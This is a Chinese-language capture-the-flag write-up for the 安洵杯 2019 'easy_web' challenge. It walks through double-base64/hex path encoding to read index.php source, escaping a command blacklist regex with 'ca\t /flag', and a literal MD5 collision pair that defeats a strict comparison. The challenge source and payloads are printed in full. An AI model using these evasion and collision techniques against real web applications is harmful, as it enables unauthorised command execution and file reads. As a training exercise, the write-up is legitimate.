[安洵杯 2019]easy_web(文件包含,md5碰撞,base64,书写参数细节)

文件包含,base64
img=TXpVek5UTTFNbVUzTURabE5qYz0
这里的路径是经过了base64编码的,当时要注意的是这里在解码的时候记得要将末尾被省略掉的’='给加上去(猜测这里在解码的过程中可能有padding)(经过base64编码后个长度为4的倍数)
结果双重base64解码,然后hex 转string 之后就可以得到路径了.

c='TXpVek5UTTFNbVUzTURabE5qYz0='
import base64
from  Crypto.Util import number
import binascii
print(binascii.unhexlify(base64.b64decode(base64.b64decode(c)).decode()))

#b'555.png'

于是我们尝试得到index.php的源代码

m='index.php'
from Crypto.Util import number
tmp1=hex(number.bytes_to_long(m.encode()))[2:]
import base64
tmp2=base64.b64encode(tmp1.encode())
print(base64.b64encode(tmp2))

#b'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3'

传这个参数,得到
[安洵杯 2019]easy_web(文件包含,md5碰撞,base64,书写参数细节)_第1张图片
.
base64解码


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
     
    echo '';
    die("xixi~ no flag");
} else {
     
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>

这里看起来有两条路可以走,但是题目好像提到了md5于是用第二条路试试.
发现第一个正则表达式过滤了许多的命令.
但是ca\t /flag 似乎可以逃逸.
尝试一波.


//echo `base64_decode("TmprMlpUWTBOalUzT0RKbE56QTJPRGN3")`;
$cmd=$_GET['cmd'];
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
     
    echo("forbid ~");
    echo "
"
; } else{ echo 'pass!'; echo 'cmd='."$cmd"; }

发现真的可以.
在这里插入图片描述
这里我们可能会问ca\t flag这是一个可以执行的命令吗?
实验一下
[安洵杯 2019]easy_web(文件包含,md5碰撞,base64,书写参数细节)_第2张图片
在网上找了一些参考.
参考
而对于第二个过滤,这里由于有强制类型转换,所以之前用数组绕过的方法似乎是行不通的.
于是的这里采用真实的md5碰撞.
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这两个的md5值是一样的.
然后我们就可以得到flag了.
但是这里有一个特别要注意的地方!
[安洵杯 2019]easy_web(文件包含,md5碰撞,base64,书写参数细节)_第3张图片
这里参数a,b不能分开写!
猜测可能的原因是如果换行写a的结尾会多一个回车符
于是输入参数的时候一定要保证a,b的末尾都没有回车符.
[安洵杯 2019]easy_web(文件包含,md5碰撞,base64,书写参数细节)_第4张图片

你可能感兴趣的:(web)